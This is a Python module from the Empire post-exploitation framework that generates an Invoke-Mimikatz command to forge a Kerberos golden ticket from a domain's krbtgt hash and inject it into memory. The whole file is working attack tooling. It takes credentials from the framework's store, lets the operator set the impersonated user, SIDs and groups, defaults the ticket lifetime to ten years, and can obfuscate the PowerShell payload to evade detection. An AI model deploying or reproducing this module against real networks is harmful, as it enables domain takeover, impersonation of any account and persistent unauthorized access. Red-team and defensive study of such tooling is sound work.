Empire/lib/modules/powershell/credentials/mimikatz/golden_ticket.py

156 lines
5.6 KiB
Python

from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Invoke-Mimikatz Golden Ticket',
'Author': ['@JosephBialek', '@gentilkiwi'],
'Description': ("Runs PowerSploit's Invoke-Mimikatz function "
"to generate a golden ticket and inject it into memory."),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'Language' : 'powershell',
'MinLanguageVersion' : '2',
'Comments': [
'http://clymb3r.wordpress.com/',
'http://blog.gentilkiwi.com',
"https://github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos"
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'CredID' : {
'Description' : 'CredID from the store to use for ticket creation.',
'Required' : False,
'Value' : ''
},
'user' : {
'Description' : 'Username to impersonate.',
'Required' : True,
'Value' : ''
},
'domain' : {
'Description' : 'The fully qualified domain name.',
'Required' : False,
'Value' : ''
},
'sid' : {
'Description' : 'The SID of the specified domain.',
'Required' : False,
'Value' : ''
},
'sids' : {
'Description' : 'External SIDs to add as sidhistory to the ticket.',
'Required' : False,
'Value' : ''
},
'id' : {
'Description' : 'id to impersonate, defaults to 500.',
'Required' : False,
'Value' : ''
},
'krbtgt' : {
'Description' : 'krbtgt NTLM hash for the specified domain',
'Required' : False,
'Value' : ''
},
'groups' : {
'Description' : 'Optional comma separated group IDs for the ticket.',
'Required' : False,
'Value' : ''
},
'endin' : {
'Description' : 'Lifetime of the ticket (in minutes). Default to 10 years.',
'Required' : False,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self, obfuscate=False, obfuscationCommand=""):
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1"
if obfuscate:
helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
script = moduleCode
# if a credential ID is specified, try to parse
credID = self.options["CredID"]['Value']
if credID != "":
if not self.mainMenu.credentials.is_credential_valid(credID):
print helpers.color("[!] CredID is invalid!")
return ""
(credID, credType, domainName, userName, password, host, os, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0]
if userName != "krbtgt":
print helpers.color("[!] A krbtgt account must be used")
return ""
if domainName != "":
self.options["domain"]['Value'] = domainName
if sid != "":
self.options["sid"]['Value'] = sid
if password != "":
self.options["krbtgt"]['Value'] = password
if self.options["krbtgt"]['Value'] == "":
print helpers.color("[!] krbtgt hash not specified")
# build the golden ticket command
scriptEnd = "Invoke-Mimikatz -Command '\"kerberos::golden"
for option,values in self.options.iteritems():
if option.lower() != "agent" and option.lower() != "credid":
if values['Value'] and values['Value'] != '':
scriptEnd += " /" + str(option) + ":" + str(values['Value'])
scriptEnd += " /ptt\"'"
if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd
return script